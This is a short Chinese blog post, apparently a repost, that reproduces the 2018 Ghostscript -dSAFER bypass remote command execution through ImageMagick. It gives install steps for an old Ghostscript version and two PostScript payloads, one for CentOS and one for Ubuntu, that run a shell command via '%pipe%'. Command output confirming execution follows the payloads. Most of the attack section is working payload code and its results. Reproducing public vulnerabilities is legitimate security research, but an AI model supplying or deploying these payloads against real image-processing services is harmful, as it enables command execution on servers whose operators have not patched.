imagemaick的ghost script RCE漏洞

本文介绍了一个存在于Ghostscript中的远程命令执行漏洞,并详细记录了如何在CentOS及Ubuntu环境中复现此漏洞的过程。文章提供了具体的步骤指导,包括安装特定版本的Ghostscript以及构造漏洞利用的payload。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

20180822

爆出了ghost script存在远程命令执行,所以,就复现验证下。

1、确认系统是否安装了gs

执行命令

gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null

如果命令没有执行成功,那么恭喜你,你没有这个漏洞

要想复现这个漏洞,那么你需要

yum install ghostscript

ubuntu

[root@srv62 ~]# cd /usr/local
[root@srv62 src]# wget http://ghostscript.com/releases/ghostscript-8.71.tar.gz
[root@srv62 src]# tar zxvf ghostscript-8.71.tar.gz
[root@srv62 src]# cd ghostscript-8.71
[root@srv62 ghostscript-8.71]# ./configure --prefix=/usr
[root@srv62 ghostscript-8.71]# mkdir obj
[root@srv62 ghostscript-8.71]# mkdir bin
[root@srv62 ghostscript-8.71]# make all
[root@srv62 ghostscript-8.71]# make install

 

2、命令执行成功了,说明系统已经安装了ghost script,然后我们来构造poc

vim shell.jpe

 jpeg内容(centos)

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

然后执行

/usr/local/bin/convert shell.jpeg what.gif

现象:

uid=500(rong) gid=500(rong) groups=500(rong)
convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792  "-sOutputFile=/tmp/magick-55636ecO6hPgbKE2Y%d" "-f/tmp/magick-55636NeGRLWbqeU7E" "-f/tmp/magick-55636jIlkxkc2rfdl" -c showpage' (-1) @ error/utility.c/SystemCommand/2051.
convert: no images defined `what.gif' @ error/convert.c/ConvertImageCommand/3187

ubuntu环境下POC:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

 

转载于:https://www.cnblogs.com/ermei/p/9520184.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值